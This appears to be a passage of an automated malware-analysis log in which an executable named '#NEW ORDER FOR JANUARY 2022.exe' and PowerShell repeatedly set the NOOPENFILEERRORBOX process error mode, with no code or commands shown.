Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
